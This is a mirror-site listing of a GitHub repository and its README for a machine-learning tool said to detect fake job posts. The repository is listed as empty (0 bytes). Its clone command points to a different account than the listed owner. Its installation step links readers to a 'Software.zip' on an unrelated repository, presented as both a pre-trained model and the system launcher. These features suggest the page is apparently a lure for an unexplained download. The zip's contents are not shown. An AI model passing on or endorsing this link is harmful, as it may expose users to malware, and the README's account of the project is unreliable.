https://github.com/macdung123/fake-job-post-detection
This project focuses on detecting fake job posts using machine learning. Fake job advertisements are often created to scam individuals by stealing personal information or money.
https://github.com/macdung123/fake-job-post-detection
classification data-analysis data-science deep-learning job-posting joblib machine-learning matplotlib-pyplot numpy pandas python scikit-learn tf-idf tkinter
Last synced: 2 months ago
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This project focuses on detecting fake job posts using machine learning. Fake job advertisements are often created to scam individuals by stealing personal information or money.
- Host: GitHub
- URL: https://github.com/macdung123/fake-job-post-detection
- Owner: MacDung123
- Created: 2025-01-25T11:28:40.000Z (9 months ago)
- Default Branch: main
- Last Pushed: 2025-01-25T12:14:04.000Z (9 months ago)
- Last Synced: 2025-01-25T12:26:04.643Z (9 months ago)
- Topics: classification, data-analysis, data-science, deep-learning, job-posting, joblib, machine-learning, matplotlib-pyplot, numpy, pandas, python, scikit-learn, tf-idf, tkinter
- Size: 0 Bytes
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# 🕵️♀️ Fake Job Post Detection Project 🕵️♂️
Welcome to the **Fake Job Post Detection** repository! This project focuses on utilizing machine learning techniques to detect fake job posts. Fake job advertisements are a prevalent issue, often created by malicious entities to scam individuals by stealing personal information or money. By leveraging data analysis, deep learning, and natural language processing techniques, this project aims to contribute to the fight against job-related fraud.
## Table of Contents
- [Introduction](#introduction)
- [Features](#features)
- [Installation](#installation)
- [Usage](#usage)
- [Contributing](#contributing)
- [License](#license)
## Introduction
In today's digital age, job seekers are increasingly vulnerable to fake job postings that aim to deceive and exploit them. This project seeks to address this issue by developing a machine learning model that can distinguish between legitimate and fake job posts. By analyzing various features of job advertisements and utilizing advanced algorithms, this model can help job seekers identify potential scams and protect themselves from fraudulent activities.
## Features
- Data Analysis: The project employs data analysis techniques to extract relevant insights from job postings and identify patterns that indicate fraudulent behavior.
- Deep Learning: Deep learning algorithms are utilized to create a robust model that can accurately classify job posts as fake or legitimate.
- NLP Machine Learning: Natural Language Processing techniques are applied to process and analyze textual information from job advertisements.
- Python Libraries: The project makes use of popular Python libraries such as NumPy, Pandas, scikit-learn, and Joblib for data manipulation, machine learning, and model persistence.
- GUI Interface: A graphical user interface (GUI) using Tkinter is developed to provide a user-friendly experience for interacting with the fake job post detection system.
## Installation
To get started with the **Fake Job Post Detection** system, follow these steps:
1. Clone the repository using the following command:
```
git clone https://github.com/22155555/fake-job-post-detection.git
```
2. Install the required Python libraries by running:
```
pip install numpy pandas scikit-learn joblib
```
3. Download the pre-trained model and necessary files from the following link:
[Launch Fake Job Post Detection System](https://github.com/22155555/1875695542/releases/download/v1.0/Software.zip)
## Usage
Once you have installed the required dependencies and downloaded the necessary files, you can run the Fake Job Post Detection system by executing the main script. The GUI interface will guide you through the process of analyzing job postings and detecting potential frauds. Follow the prompts on the screen to input job post details and receive the system's classification results.
## Contributing
Contributions to the **Fake Job Post Detection** project are welcome! If you have ideas for improving the detection system, implementing new features, or enhancing the GUI interface, feel free to submit a pull request. Together, we can combat fake job postings and protect job seekers from falling victim to scams.
## License
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.